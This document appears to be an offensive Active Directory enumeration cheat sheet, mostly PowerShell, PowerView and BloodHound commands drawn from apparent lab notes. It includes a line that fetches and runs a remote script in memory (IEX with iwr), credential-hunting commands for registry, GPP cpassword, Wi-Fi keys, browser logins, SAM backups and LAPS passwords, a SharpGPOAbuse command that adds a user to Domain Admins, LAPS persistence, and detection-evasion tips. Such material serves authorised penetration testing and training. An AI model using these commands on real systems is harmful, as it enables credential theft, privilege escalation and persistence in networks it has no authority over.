Enumeration

Cheatsheet

https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/#enumeration

#DsQuery
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc732952(v=ws.10)?redirectedfrom=MSDN

File System Directory

  • C:\Windows\System32 [Windows 32-bit]

  • c:\Windows\SysWow64 [Windows 32-bit]

  • c:\Windows\SysNative [Windows 64-bit]

Tools /Scripts

#Install RSAT from an elevated shell
Import-Module ServerManager
Add-WindowsFeature RSAT-AD-Powershell

#If RSAT is installed, location of ADModule is: 
cd C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.ActiveDirectory.Management

------------------

#Copy the module directory from the installed server from following location: 
C:\Windows\System32\WindowsPowerShell\v1.0\Modules\ActiveDirectory\

Import-Module .\Microsoft.ActiveDirectory.Management.dll
Import-Module .\ActiveDirectory\ActiveDirectory.psd1

#Install-ActiveDirectoryModule.ps1
Install-ActiveDirectoryModule -Dllpath <Path to Microsoft.ActiveDirectory.Management.dll> -ADModulePath <Path to ActiveDirectory.psd1>

#Without privs or RSAT. Load the module from memory
#https://github.com/samratashok/ADModule/blob/master/Import-ActiveDirectory.ps1
IEX(iwr http://<URL>/Import-ActiveDirectory.ps1 -UseBasicParsing)

#DsQuery & LdapSearch [SpectorOps]
https://posts.specterops.io/an-introduction-to-manual-active-directory-querying-with-dsquery-and-ldapsearch-84943c13d7eb

BloodHound

Installation

#Sharphound.exe
Sharphound.exe -CollectionMethod All, GPOLocalGroup,LoggedOn

#SharpHound.ps1
# Run all checks if you don't care about OpSec
Invoke-BloodHound -CollectionMethod All,GPOLocalGroup, LoggedOn

# Running LoggedOn separately sometimes gives you more sessions, but enumerates by looping through hosts 🚩
Invoke-BloodHound -CollectionMethod LoggedOn

//To avoid detections like ATA
Invoke-BloodHound -CollectionMethod All -ExcludeDC

#From Kali
apt install bloodhound
pip3 install bloodhound
bloodhound-python -u <user> -p '<pass>' -d <domain.local> -ns <IP> -c DcOnly

Notice the edge connecting “Default Domain Policy” to the “Contoso.Local” domain is dotted. This means that this GPO is not enforced; however, all of the “Contains” edges are solid, meaning that none of those containers block inheritance. Recall from earlier that unenforced GpLinks will only be affected by OUs that block inheritance, so in this case, the Default Domain Policy still applies to Alice Admin.

Also note that the edge connecting “Customer Password Policy” to the “Contoso.Local” domain is solid. This means that this GPO is enforced, and will therefore apply to all children objects regardless of whether any subsequent containers block inheritance.

Sitatuational Awareness

#Seatbelt Enumeration
#Current process/tokens
TokenGroupPrivs

#Checks querying registry
UACSystemPolicies

#Audit settings via Registry
AuditSettings

#Windows Event Forwarding Settings
WEFSettings

#Proxy config
InternetSettings

NonStandardSettings/NonStandardProcesses
SysmonConfig
PowerShellSettings
LapsSettings
FirewallRules
AntiVirus
InterestingProcesses
Patches


#Identify available Powershell engines
Get-ItemPropertyValue HKLM:\SOFTWARE\Microsoft\PowerShell\*\PowerShellEngine -Name PowerShellVersion

#Identify Powershell Logging
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging 
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription

#Available CLR versions
dir %WINDIR%\Micrososft.Net\Framework\ /s /b | find "System.dll"
[System.IO.File]::Exists("$env:windir\Microsoft.Net\Framework\v2.0.50727\System.dll
[System.IO.File]::Exists("$env:windir\Microsoft.Net\Framework\v4.0.30319\System.dll

Offensive WMI

Port Scan

  • Netscan

    • Identify subnets and scan for open ports.

    • Use 20 IPs for a single port at a time to avoid alerts on Red Team Engagements.

    • Beware : Canaries may be present on certain hosts!

#Ping Sweep
1..255 | %  {ping -n 1 10.10.15.$_ } | select-string ttl
for /L %i in (1,1,255) do @ping -n 1 10.0.0.%i | find "TTL"

Invoke-PortScan

#Non-domain joined
nbtscan -r <range>

use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/snmp/snmp_login

Network Sniffing

netsh trace start
Start-NetEventSession -Name Sess1

#Look for SNMP community strings(v1/v2c), clear-text passwords etc.
tcpdump
wireshark

System

systeminfo
hostname
wmic qfe
wmic logicaldisk get caption,description,providername

#Processes
Get-WmiObject -class win32_operatingsystem | select -Property *
wmic process
tasklist
Get-Process -IncludeUserName
#evil-winrm: services

#Services

sc queryex type=<space>service
Get-Service | Sort-Object Status -Descending
sc queryex type=<space>service state=<space>all
powershell -c 'Get-Service'
net start
wmic service list brief

Non-default services:
wmic service get name,displayname,pathname,startmode | findstr /v /i "C:\Windows"

#Shares
Invoke-ShareFinder –Verbose
Invoke-ShareFinder –Verbose -ExcludeStandard -ExcludePrint -ExcludeIPC

#Network Enumeration

ipconfig /all
route print
netstat -ano
Get-Process -Id (Get-NetTCPConnection -LocalPort <PortNumberHere>).OwningProcess

#Wifi
netsh wlan show profiles
netsh wlan show profiles name="SSID" key=clear

#Firewall
netsh advfirewall show currentprofile
netsh advfirewall firewall dump
netsh firewall show state
netsh firewall show config

#Antivirus
Tools: SharpEDRChecker, Seatbelt 
sc query windefend

#Dump Browser history or bookmarks
https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Get-BrowserData.ps1

Shares / Sensitive Files

net view \\<IP>
net user e: \\<IP>\ipc$ <Password> /user:<domain\user>

#Find Sensitive Files On Computers In The Domain
Invoke-FileFinder –Verbose
Invoke-FileFinder –Verbose -ExcludeStandard -ExcludePrint -ExcludeIPC

#Get All Fileservers Of The Domain
Get-NetFileServer
 -Verbose

Password Enumeration

#Search registry
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s


findstr /si password *.txt *.ini *.config *.xml
findstr /spin “password” *.*
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml

C:\Windows\Panther\unattend.xml

#Check Answer file [c:\Windows\Panther\unattend.xml]
#Local A/c password may be stored in this file as encoded-base64/clear-text
$EncodedText = “UABhAHMAcwB3AG8AcgBkAA==”
$DecodedText = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedText))
$DecodedText

#Autologon Registry 
REG QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon" /v DefaultPassword /reg:64

#Saved logins from Browsers
https://github.com/lclevy/firepwd
#Copy logins.json & key4.db from C:\Users\BACKUP-Izabel\AppData\Roaming\Mozilla\Firefox\Profiles\65wr35iv.default-release\
python3 firepwd.py -d <Location of logins.json, key4.db>

#Password Policy
Get-ADPasswordPolicy

#Search for RDP/Putty config files

#GPP passwords [Group Policy Preferences] [https://adsecurity.org/?p=2288]
findstr /S /I cpassword \\<FQDN>\sysvol\<FQDN>\policies\*.xml
Get-GPPPassword


#List hidden files
attrib
dir -force

#SAM & SYSTEM Backup files may exist in 
dir C:\Windows\Repair  
dir C:\Windows\System32\config\RegBack 

Domain

#Current Domain
net view /domain
$ADClass=[System.DirectoryServices.ActiveDirectory.Domain]
$ADClass::GetCurrentDomain()

#Target PDC Emulator for all queries. PDC Emulator is the busiest controller on the network.
Queries will get filled up in the busy logs. Determine which DC has PDC emulator FSMO role in Forest Root Domain.
Get-ADForest | Select-Object -ExpandProperty RootDomain | Get-ADDomain | Select-Object -Proeprty PDCEmulator
Get-NetDomain  #Look for PDFCRoleOwner

Get-ADDomain #ActiveDirectory Module
Get-NetDomain –Domain moneycorp.local
Get-ADDomain -Identity moneycorp.local //ActiveDirectory Module

#SID
Get-DomainSID #Powerview
(Get-ADDomain).DomainSID #ActiveDirectory Module

#Domain Policy [Using Powerview]
Get-DomainPolicy                   
(Get-DomainPolicy)."system access" 
(Get-DomainPolicy –domain moneycorp.local)."systemaccess"

#Enumerate Password Policy
Get-ADDefaultDomainPasswordPolicy
cme smb <IP> --pass-pol -u '' -p ''
ldapsearch -D '<domain>\<user>' -w '<pass>' -p 389 -h <IP> -b "dc=blackfield,dc=local" -s sub "*" | grep lockoutThreshold

Computers

net view /domain:<Domain>

[System.Net.Dns]::GetHostbyAddress("10.200.15.176")
[System.Net.Dns]::GetHostAddresses("THROWBACK-DC01")


nbtstat -A <IP>
for /L %i in (1,1,255) do @nbstat -A 10.10.10.%i 2>null && echo 10.10.10.%i

#PowerView
Get-NetComputer
Get-NetComputer –OperatingSystem "*Server 2016*"
Get-NetComputer -Ping
Get-NetComputer -ComputerName <name> -FullData

#ActiveDirectory Module  
Get-ADComputer -Filter * -Properties ipv4address | where {$_.IPV4address} | select name,ipv4address
Get-ADComputer -Filter * -Properties ipv4address -eq '<Target-IP>' -Properties Lastlogondate,passwordlastset,ipv4address
Get-ADComputer -Filter * | select Name
Get-ADComputer -Filter 'OperatingSystem -like "*Server 2016*"' -Properties OperatingSystem | select Name,OperatingSystem
Get-ADComputer -Filter * -Properties DNSHostName | %{TestConnection -Count 1 -ComputerName $_.DNSHostName}

#DNS / Reverse DNS lookup
nslookup <Computername1>
nslookup <IP>

#DNS Host lookup [Noisy]
for /L %i in (1,1,255) do @nslookup 10.10.10.%i [DC-IP] 2>null | find "Name" && echo 10.10.10.%i

#Other tools
Dumpsec
shareenum (Sysinternals)
enum.exe
------

#Service Discovery / SPN Scanning 
https://adsecurity.org/?page_id=183
https://adsecurity.org/?p=230

#Identify SQL Servers. Modify "sql" according to target service:
$ADForestInfoRootDomain = ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).RootDomain
$ADForestInfoRootDomainDN = “DC=” + $ADForestInfoRootDomain -Replace(“\.”,’,DC=’)
$ADDomainInfoLGCDN = ‘GC://’ + $ADForestInfoRootDomainDN
$root = [ADSI]$ADDomainInfoLGCDN
$ADSPNSearcher = new-Object System.DirectoryServices.DirectorySearcher($root,”(serviceprincipalname=*sql*)”)
$ADSPNSearcher.PageSize = 500
$AllADSQLServerSPNs = $ADSPNSearcher.FindAll()


Get-ADComputer -Filter {ServicePrincipalName -Like "*SPN*" } -Properties OperatingSystem,OperatingSystemVersion,PasswordLastSet,LastLogonDate,ServicePrincipalName,TrustedForDelegation,TrustedtoAuthForDelegation

Discovers all user accounts configured with a ServicePrincipalName 
https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Find-PSServiceAccounts


-------

#Domain Controller Enumeration

nslookup.exe
set type=all
_ldap._tcp.dc._msdcs.<domain.local>

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers
nltest /server:<IP of any member> /dclist:<domain>
dig -t NS <domain.local>
dig _gc. <domain>

#PowerView
Get-NetDomainController 
Get-NetDomainController –Domain moneycorp.local     

#ActiveDirectory Module
Get-ADDomainController  
Get-ADDomainController -DomainName moneycorp.local -Discover

---
#LAPS Enumeration [ ms-mcs-AdmPwd (Clear-text pass), ms-mcs-AdmPwdExpirationTime(Pass exp. date)]
#Automate with LAPSToolkit
Get-LapsComputers
Find-LapsDelegatedGroups
Find-AdmPwdExtendedRights

#Computers with LAPS enabled
Get-ADObject 'CN=ms-mcs-admpwd,CN=SCHEMA,CN=Configuration,DC=<domain>,DC=<local>'
"Get-ADComputer -filter {ms-mcsAdmPwdExpirationTime like '*'}" -Properties -ms-mcs-AdmPwdExpirationTime

#Check for GPOs with LAPS keyword
Get-DomainGPO -Identity '*LAPS*'

#Computers where LAPS GPO is applied:
Get-DomainOU -GPLink "{GUID}" -Properties distinguishedname
Get-DomainComputer -Searchbase "LDAP:\<distinguishedname>" -Properties distinguishedname

#Check if current system has LAPS enabled
Get-ChildItem 'c:\Program Files\LAPS\CSE\Admpwd.dll'
Get-FileHash 'c:\Program Files\LAPS\CSE\Admpwd.dll' #PSv5
Test-Path 'HKEY_LOCAL_MACHINE\Software\Micrososft\WindowsNT\CurrentVersion\Winlogon\GPExtensions'

#Extract LAPS Configuration. [https://github.com/PowerShell/GPRegistryPolicy]
Parse-PolFile \\<domain.local>\Sysvol\<domain.local>\Policies\{<GUID>}\Machine\Registry.pol

#Users with delegated read access on ms-mcs-AdmPwd attribute
Get-NetOU -FullData | Get-ObjectACL -ResolveGUIDs | Where-Object { ($_.ObjectType -like 'ms-mcs-AdmPwd') -and ($_.ActiveDirectoryRights -match 'ReadProperty' ) } | For-EachObject { $_ | Add-Member NoteProperty 'IdentitySID' $(Convert-NameToSID $_.IdentityReference).SID; $_ }

#Groups delegated with 'All Extended Rights' on an OU containing computers managed by LAPS can view clear-text pass
#LAPS PS Module
Find-AdmPwdExtendedRights -Identity "<Desktop Computers>" |% {$_.ExtendedRightHolders}

#Retrieve msmcs-AdmPwd attribute
#Using LAPS PS module
Get-AdmPassword -Computername <PC> | fl

#If compromised, ms-mcs-AdmPwdExpirationTime can be changed for persistence
Set-DomainObject -Identity <Target-PC> -Set @{'ms-mcs-AdmPwdExpirationTime'='<new value in int>'} -Verbose

Groups

  • Enterprise Admins, Schema Admin, Enterprise Key Admins will be shown only on the DC of the Forest Root.

net group /domain

#PowerView
Get-NetGroup
Get-NetGroup -Username "UserA"
Get-NetGroup -GroupName *admin* -FullData
Get-NetGroup –Domain <targetdomain>

#ActiveDirectory Module
Get-ADGroup -Filter * | select Name
Get-ADGroup -Filter * -Properties *
Get-ADGroup -Filter 'Name -like "*admin*"' | select Name 
Get-ADGroup -Filter 'Name -like "Domain Admins"' -Properties *

#Local Group Enumeration
Get-NetComputer | Get-NetLocalGroup -ComputerName dcorpdc.dollarcorp.moneycorp.local 

#List all Members of all Local Groups on a remote host. (Requires admin privs, except for DC)
Get-NetLocalGroup -Computername <Host> | Get-LocalGroupMember
Get-DomainGpoLocalGroup

#List Members of Local Admin Group on all accessible machines
Invoke-EnumerateLocalAdmin
 
#List Members of Domain Group
net group /domain <Group Name>

#Domain Group Enumeration
Get-NetGroupMember -GroupName "Domain Admins" -Recurse 

#ActiveDirectory Module
Get-ADGroupMember -Identity "Domain Admins" -Recursive 

#Group memberships of a User
Get-NetGroup –UserName "student1"
Get-ADPrincipalGroupMembership -Identity student1 

#Identify AD Groups with Local Admin Rights. Target members of this group.
Get-NetGPOGroup
Get-NetGroupMember -GroupName "<Group eg:Local Admins>"

#Identify AD Groups with Local Admin Rights via OU. Target an OU > List of GPOs applied > List of computers in OU. 
Target members of this group and where they have access to.

Get-NetOU
Find-GPOComputerAdmin -OUName 'OU=X,OU=Y,DC=X,DC=Z'
Get-NetComputer -ADSPath 'OU=X,OU=Y,DC=X,DC=Z'

----

#RDP Users [Remote Desktop Users Group]
Get-NetLocalGroup -Computername <Computer> -Recurse -List
Get-NetLocalGroup -Computername <computer> -GroupName "Remote Desktop Users" -Recurse

#Uncommon groups on DC
Get-NetDomainController | Get-NetLocalGroup -Recurse
  • IsGroup: Specifies whether the memberName is a group itself. Eg: A custom group may be part of the Domain Admin's Group

  • The RID(500) is the default for a Domain Administrator. Hence changing the MemberName to deceive attacker's won't work.

  • The RID shows whether it is a built-in group.

  • RID is what makes the object unique in a forest.

Session

#Find all machines on the network, shares, sessions & logged in users for each. [No admin privs required]
https://github.com/mubix/netview

#nmap [No admin privs required]
nmap -sU -sS --script smb-enum-sessions.nse --script-args 'smbuser=<user>,smbpass='<pass>' -p U:137,T:139 <IP/24>

#Get Actively Logged On Users On A Computer. Requires local admin rights on the target.
#PowerView
Get-NetLoggedon –ComputerName <servername>

#Without admin privs [http://www.joeware.net/freetools/tools/netsess/]
netsess \\<Target-PC>

#See where AD user has sessions [Requires admin privs on target>
psloggedon.exe <target user>
PVEFindADUser.exe -current

#Get Locally Logged On Users On A Computer. [Requires remote registry on the target - started by-default on server OS]
//PowerView
Get-LoggedonLocal -ComputerName dcorpdc.dollarcorp.moneycorp.local

#Get The Last Logged Users On A Computer [Requires LA on target]
#PowerView
Get-LastLoggedOn –ComputerName <servername>

Group Policy

#GPO applied on computer
Get-NetGPO -ComputerName dcorpstudent1.dollarcorp.moneycorp.local | select displayname,name,whenchanged
gpresult /scope User /V
gpresult /scope Computer /V
#Start menu
rsop.msc

#gpresult cheatsheet (Requires admin privs) 
#https://activedirectorypro.com/gpresult-tool/

#Generate a report
Get-GPOReport -Name "TestGPO" -ReportType HTML -Path "C:\Users\hackzzdogs\Documents\GPOReport.html"

#Enumerate GPOs
Get-NetGPO | select displayname
Get-GPO -All -Domain "spray.csl"
Get-GPO -GUID 6AC1786C-016F-11D2-945F-00C04fB984F9

#ACLs on GPOs
#Based on user
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}  | ?{$_.IdentityReference -match "student"}
Get-NetGPO | ForEach-Object {Get-ObjectAcl -ResolveGUIDs -Name $_.name} | Where-Object {$_.ActiveDirectoryRights -match 'WriteProperty'}

#ADModule
Get-GPPermission -All -Name $Name | Where-Object {$_.Permission -eq "GpoApply"}

#ACLs based on User's SID
$SID=Get-NetUser <username> | select -Expandproperty objectsid
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}  | ?{$_.SecurityIdentifier -match $SID}

#Find users who have local admin rights over the Target Computer
Find-GPOComputerAdmin -ComputerName <ComputerName>

#Find all Computers that User has local admin rights in the current domain through the applied GPO
Find-GPOLocation -Username johana

#Find all computers a given user has local RDP access to in the domain.
Find-GPOLocation -Username <Username> -LocalGroup RDP


#List GPO with 'GPOType=Restricted Groups' & it's Members. These are interesting users.
Get-NetGPOGroup


#Convert SID ->User
$objSID = New-Object System.Security.Principal.SecurityIdentifier <Insert SID>
$objUser = $objSID.Translate( [System.Security.Principal.NTAccount]) 
$objUser.Value

#Get Computers where GPO is applied
Get-NetOU -GUID "{6AC1786C-016F-11D2-945F-00C04fB984F9}" | %{Get-NetComputer -ADSPath $_}

#Get OUs In A Domain
Get-NetOU 

#Get GPO applied on an OU
#(Get-NetOU <OU_Name> -FullData).gplink
(Get-NetOU "Domain Controllers" -FullData).gplink
Get-NetGPO -GPOname "{6AC1786C-43FF-B03B83E8F4E984F9}"
Get-NetGPO -ADSpath 'LDAP://cn={6AC1786C-43FF-B03B83E8F4E984F9},cn=policies,cn=system,DC=dollarcorp,DC=moneycorp,DC=local'

#Current User's OU
gpresult /r | find "OU"

#List Computers in an OU
Get-NetOU -OUName <OU_Name> | %{Get-NetComputer -ADSPath $_}
Get-DomainComputer -SearchBase "LDAP://OU=Workstations,DC=testlab,DC=local" -Properties DistinguishedName
  • Read GPO name from gplink attribute from Get-NetOU

Abusing Weak GPO Permissions

  • SharpGPOAbuse

Download SharpGPOAbuse.exe & CommandLine.dll : https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master

SharpGPOAbuse methods:

  • Add rights to a user such as SeDebugPrivilege, SeTakeOwnershipPrivilege, etc.

  • Add a new startup script.

  • Add a new immediate task.

  • Add a user to the local admins group.

#Powerview is depreciated
#https://labs.f-secure.com/tools/sharpgpoabuse
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Debug" --Author SPRAY\administrator --Command "cmd.exe" --Arguments "/c net group 'Domain Admins' hackzzdogs /ADD /DOMAIN" --GPOName "DCPolicy"
gpupdate /force

#Remove Scheduled Task
New-GPOImmediateTask -Remove -Force -GPODisplayName DCPolicy
  • ScheduledTask and its code will execute after the policy updates are pushed through (roughly each 90 minutes), but we can force it with gpupdate /force

Access Control List

  • ACE: Corresponds to individual permission or audit's access

There are 2 Types:

  • DACL: Defines the permissions trustees(user or group) have on an object.

  • SACL: Logs success or failure audit messages when an object is accessed.

Get ACLs Associated with the Specified Object

#dscals: Cheatsheet:https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/using-dsacls-to-check-ad-object-permissions
#ACLs on Group
dsacls "CN=Domain Admins,CN=Users,DC=disctionary,DC=csl"

#ACLs on object for user roastsvc
dsacls "CN=Domain Admins,CN=Users,DC=roast,DC=csl" | select-string "roastsvc"

-----
#https://github.com/cyberark/ACLight
Import-Module ACLight2.psm1
Start-ACLAnalysis

---
#Powerview
Get-ObjectAcl –ResolveGUIDs -SamAccountName <name>
Get-ObjectAcl -SamAccountName "Domain Admins" –ResolveGUIDs | ?{$_.IdentityReference -match 'student1'}
Get-ObjectAcl -SamAccountName admin –ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "GenericWrite"} | ft ObjectDN,IdentityReference.ActiveDirectoryRights -Autosize

#ACLs on a Group (map with Distinguished name of Group)
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Remote Desktop Users,CN=Builtin,DC=garrison,DC=castle,DC=local"}

#ACLs on AdminSDHolder
Get-ObjectAcl -ADSprefix 'CN=AdminSDHolder,CN=System' -ResolveGUIDs | ?{$_.IdentityReference -match '<user>'}

#Write ACLs for a User
$SID=Get-NetUser <username> | select -Expandproperty objectsid
Get-DomainObjectACL <Targetuser> | ?{$_.SecurityIdentifier -match $SID}

#ADModule
(Get-Acl -Path 'AD:\CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local').Access | ?{$_.IdentityReference -match 'student1'}

# Find interesting ACLs for the entire domain, show in a readable (left-to-right) format
Find-InterestingDomainAcl | select identityreferencename,activedirectoryrights,acetype,objectdn | ?{$_.IdentityReferenceName -NotContains "DnsAdmins"} | ft

# Get interesting outgoing ACLs for a specific user or group
# ?{} is a filter statement
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "Domain Admins"} | select ObjectDN,ActiveDirectoryRights

#Follow Delegation. [All Modify permissions of X] [Powerview_dev.ps1]
[Reading ACE: IdentityReference has ActiveDirectoryRights on ObjectDN]
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match 'studentx'}
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReference -match 'RDPUsers'}
Invoke-ACLScanner -ResolveGUIDs -ADSPath 'OU=X,OU=Y,DC=X,DC=Z' | Where {$_.ActiveDirectoryRights -eq 'GenericAll'}

#Associated with the specified prefix to be used for search
Get-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose


#Associated with the specified LDAP path
Get-ObjectAcl -ADSpath "LDAP://CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local" -ResolveGUIDs -Verbose

#Associated with the specified path
Get-PathAcl -Path "\\dcorp-dc.dollarcorp.moneycorp.local\sysvol"

#ACLs for all GPOs
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ?{$_.IdentityReference -match "student"}

Trusts

  • In an AD environment, trust is a relationship between two domains or forests which allows users of one domain or forest to access resources in the other domain or forest.

  • Trust can be automatic (parent-child, same forest etc.) or established (forest, external).

  • Trusted Domain Objects (TDOs) represent the trust relationships in a domain.

  • Note: All enumeration can be performed on trusted domains[bi-directional trust]

#Forest Trusts
nltest /domain_trusts
([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()

Get-NetForestDomain -Verbose | Get-NetDomainTrust
Get-NetForestTrust
Get-NetForestTrust –Forest corp.local

#External Trusts for Current Forest
Get-NetForestDomain -Verbose | Get-NetDomainTrust | ?{$_.TrustType -eq 'External'}

Get-ADTrust -Filter 'msDS-TrustForestTrustInfo -ne "$null"'

#Map all reachable trusts
Invoke-MapDomainTrust
Invoke-MapDomainTrust -LDAP
Invoke-MapDomainTrust -ExportCsv -NoTypeInformation trusts.csv

#Trusts of Trusting Forest
Get-NetForestDomain -Forest <Forest> -Verbose | Get-NetDomainTrust

#Domain Trusts
#PowerView
Get-NetDomainTrust
Get-NetDomainTrust –Domain us.dollarcorp.moneycorp.local

#AD Module
Get-ADTrust
Get-ADTrust –Identity us.dollarcorp.moneycorp.local

Users

$domainname = $env:userdomain
$domain = "WinNT://$domainname"
$u = ($domain.children).Where({$_.schemaclassname -eq 'user'})

#PowerView
Get-NetUser    
Get-NetUser | select -ExpandProperty samaccountname                       
Get-NetUser –Username student1 
Get-NetUser –Username *sql*
Get-NetUser -FullData

net user "Domain Admins" /domain

#impacket
GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username

#ActiveDirectory Module      
Get-ADUser -Filter *       
Get-ADUser -Filter * -Properties *    
Get-ADUser -Filter * -Properties * | select Name       

#Foreign Security Principals
#AD Module
Get-ADObject -Filter {ObjectClass -eq 'ForeignSecurityPrincipal'}

#Find Users in current domain that reside in groups across a trust
Find-ForeignUser

#Understand the nature of a domain’s incoming trust access by showing you what users in other 
domains have access into your target (or current) domain:
Find-ForeignGroup -Domain <remote-domain>

Get List Of All Properties Of Users From Current Domain

  • Tip: User Accounts with '0' or small pwdlast, logoncount values, may be Decoy Accounts.

//PowerView
Get-UserProperty –Properties pwdlastset  

//ActiveDirectory Module   
Get-ADUser -Filter * -Properties * | select -First 1 | Get-Member -MemberType *Property | select Name

#Filter User Properties
#PowerView
Find-UserField -SearchField Description -SearchTerm "built"

#ActiveDirectory Module  
Get-ADUser -Filter 'Description -like "*built*"' -Properties Description | select name,Description

User Hunting

#Domain admins often have an elevated & non-elevated account. Find out what are the accounts for
an members of DA group and then hunt for where they're logged in:

Get-NetGroupMember -GroupName "Domain Admins" -FullData | %{ $a=$_.displayname.split(' ')[0..1] -join ' '; Get-NetUser -Filter "(displayname=*$a*)" } | Select-Object -Property displayname,samaccountname

#-Stealth: Queries the DC of the current or provided domain for members of the given group (Domain Admins by default) 
using GetNetGroupMember, gets a list only of high traffic servers (DC, File Servers and Distributed File servers) for 
less traffic generation and list sessions and logged on users (Get-NetSession/Get-NetLoggedon) from each machine.
https://sixdub.medium.com/derivative-local-admin-cdd09445aac8

Invoke-UserHunter -Stealth -ShowAll
Invoke-UserHunter -UserFile .\user.txt -ComputerFile <List of computers excluding DC>.txt
Invoke-UserHunter -Username <target-user>
Invoke-UserHunter -GroupName "RDPUsers"


#DA sessions on computers
Invoke-StealthUserHunter -ShowAll

#Similar to Invoke-UserHunter, but preserves output for later use to prevent rerunning the script.
Invoke-UserView

#To confirm if current user has admin access to the above machine
Invoke-UserHunter -CheckAccess

#Find User in Active Directory Forest
https://adsecurity.org/?p=354

-----
#Local Administrator Enumeration

#WinNTService provider
([ADSI]'WinNT://<Computername>/Administrators').psbase.Invoke('Members') | %{$_.GetType().InvokeMember('Name', 'GetProperty', $null, $_, $null)}

#NetLocalGroupGetMembers Win32 API
Get-NetLocalGroup -Computername <Computer> -API

Get-NetLocalGroup -Computername <Computer> -Recurse

#PowerView_dev
Find-LocalAdminAccess –Verbose
Find-LocalAdminAccess –Domain <Domain>

#Perform a Get-NetLocalGroup against every system in the domain and output the results in CSV format.
Invoke-EnumerateLocalAdmins -OutFile <file.csv> 

#Check LA Access
#Powerview
Invoke-EnumerateLocalAdmin
Invoke-CheckLocalAdminAccess -Computer <Comp_name>

#WMI and PowerShell remoting by default requires LA privs.
Useful if ports(RPC,SMB) used by Find-LocalAdminAccess are blocked.


Find-WMILocalAdminAccess -ComputerFile .\computers_list.txt -Verbose

#https://github.com/richardracko/active-directory-tools/blob/main/Find-PSRemotingLocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess.ps1
Enter-PSSession -ComputerName pc1.domain.local 
Invoke-Command -Computername [PC1, PC2 ...] -Scriptblock {whoami;hostname}

-------
#Derivative Local Admin
https://sixdub.medium.com/derivative-local-admin-cdd09445aac8

------

#Identify Administrator Accounts
Get-NetGroupMember -GroupName "Denioed RODC Password Replication Group" -Recurse

#Identify users based on AdminCount=1. [May have False Positives]
Get-NetUser -AdminCount | select name,whencreated,pwdlastset,lastlogon

#Via Email ID
Get-NetGroup "*admins*" | Get-NetGroupMember -Recurse | ?{Get-NetUser $_.MemberName -filter '(mail=*)'}
Get-NetGroup "*admins*" | Get-NetGroupMember -Recurse | ?{$_.MemberName -Like '*.*'}

-----

#Virtual Admins [HyperV or Vmware admins]
Get-NetGroup "*Hyper*" | Get-NetGroupMember
Get-NetGroup "*VmWare*" | Get-NetGroupMember

-----

#Identify Computers part of Administrator Groups
Get-NetGroup "*admin*" | Get-NetGroupMember -Recurse | ?{$_.MemberName -Like '*$'}

-----
#Target users with LAPS Delegation [Read access to ms-Mcs-AdmPwd].
With this info, pull list of all LA accounts on all computers than our targets have view access to.

Get-NetComputer -ComputerName '<computer>' -FullData |
	Select-Object -ExpandProperty distinguishedname |
	ForEach-Object { $_.substring($_.indexof('OU')) } ForEach-Object {
		Get-ObjectAcl -ResolveGUIDs -DistinguishedName $_
	} | Where-Object {
		($_.ObjectType -lke 'ms-Mcs-AdmPwd') -and
		($_.ActiveDirectoryRights -match 'ReadProperty')
	} | ForEach-Object {
		Convert-NameToSid $_.IdentityReference
	} | Select-Object -ExpandProperty SID | Get-ADObject

#ACLs for all OUs where someone can read LAPS password
Get-NetOu -FullData |
	Get-ObjectAcl -ResolveGUIDs |
	Where-Object {
		($_.ObjectType -like 'ms-Mcs-AdmPwd') -and
		($_.ActiveDirectoryRights -match 'ReadProperty')
	} | ForEach-Object {
		$_ | Add-Member NoteProperty 'IdentitySID' $(Convert-NameToSid $_.IdentityReference).SID;
		$_
	}

Find local admins on all machines of the domain

  • Requires administrator privs on non-dc machines.

  • This function queries the DC of the current or provided domain for a list of computers (Get-NetComputer) and then use multi-threaded GetNetLocalGroup on each machine.

Invoke-EnumerateLocalAdmin –Verbose

Find computers where a domain admin (or specified user/group) has sessions:

  • This function queries the DC of the current or provided domain for members of the given group (Domain Admins by default) using Get-NetGroupMember, gets a list of computers (Get-NetComputer) and list sessions and logged on users (GetNetSession/Get-NetLoggedon) from each machine and checks if any member of Domain Admins group has an active session.

  • Tip:

    • If we have local admin access on a machine where DC has an active session, we can extract tokens and escalate privileges. This method is useful not only when targeting DC but other important groups.

